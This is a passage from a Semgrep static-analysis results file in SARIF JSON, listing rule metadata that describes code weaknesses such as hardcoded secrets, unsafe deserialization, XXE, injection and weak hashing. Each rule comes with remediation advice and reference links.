actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","id":"python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","name":"python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument."},"help":{"markdown":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor)\n - [https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/#snakeyaml-deserialization-vulnerability](https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/#snakeyaml-deserialization-vulnerability)\n","text":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument."},"helpUri":"https://semgrep.dev/r/java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","id":"java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","name":"java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","id":"csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","name":"csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","id":"javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","name":"javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SonarQube Docs API Key detected"},"help":{"markdown":"SonarQube Docs API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SonarQube Docs API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","id":"generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","name":"generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query."},"help":{"markdown":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli)\n - [https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf)\n","text":"Detected a `$IMPORT` statement that comes from a `$REQ` argument. This could lead to NoSQL injection if the variable is user-controlled and is not properly sanitized. Be sure to properly sanitize the data if you absolutely must pass request data into a mongo query."},"helpUri":"https://semgrep.dev/r/javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","id":"javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","name":"javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.mongodb.express-mongo-nosqli.express-mongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","id":"python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","name":"python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","id":"java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","name":"java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-schemafactory-xxe-spring.tainted-schemafactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information."},"help":{"markdown":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server)\n - [https://nodejs.org/api/http.html#http_class_http_agent](https://nodejs.org/api/http.html#http_class_http_agent)\n - [https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY](https://groups.google.com/g/rubyonrails-security/c/NCCsca7TEtY)\n","text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","id":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","name":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"help":{"markdown":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","id":"swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","name":"swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","id":"ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","name":"ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible."},"help":{"markdown":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.xml.should-resolve-xxe.swift-xxe-prevention)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible."},"helpUri":"https://semgrep.dev/r/swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","id":"swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","name":"swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.xml.should-resolve-xxe.swift-xxe-prevention"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen."},"help":{"markdown":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://blog.elcomsoft.com/2020/08/extracting-and-decrypting-ios-keychain-physical-logical-and-cloud-options-explored/](https://blog.elcomsoft.com/2020/08/extracting-and-decrypting-ios-keychain-physical-logical-and-cloud-options-explored/)\n","text":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","id":"swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","name":"swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`."},"help":{"markdown":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","id":"terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","name":"terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC721 onERC721Received() reentrancy"},"help":{"markdown":"ERC721 onERC721Received() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc721-reentrancy.erc721-reentrancy)\n - 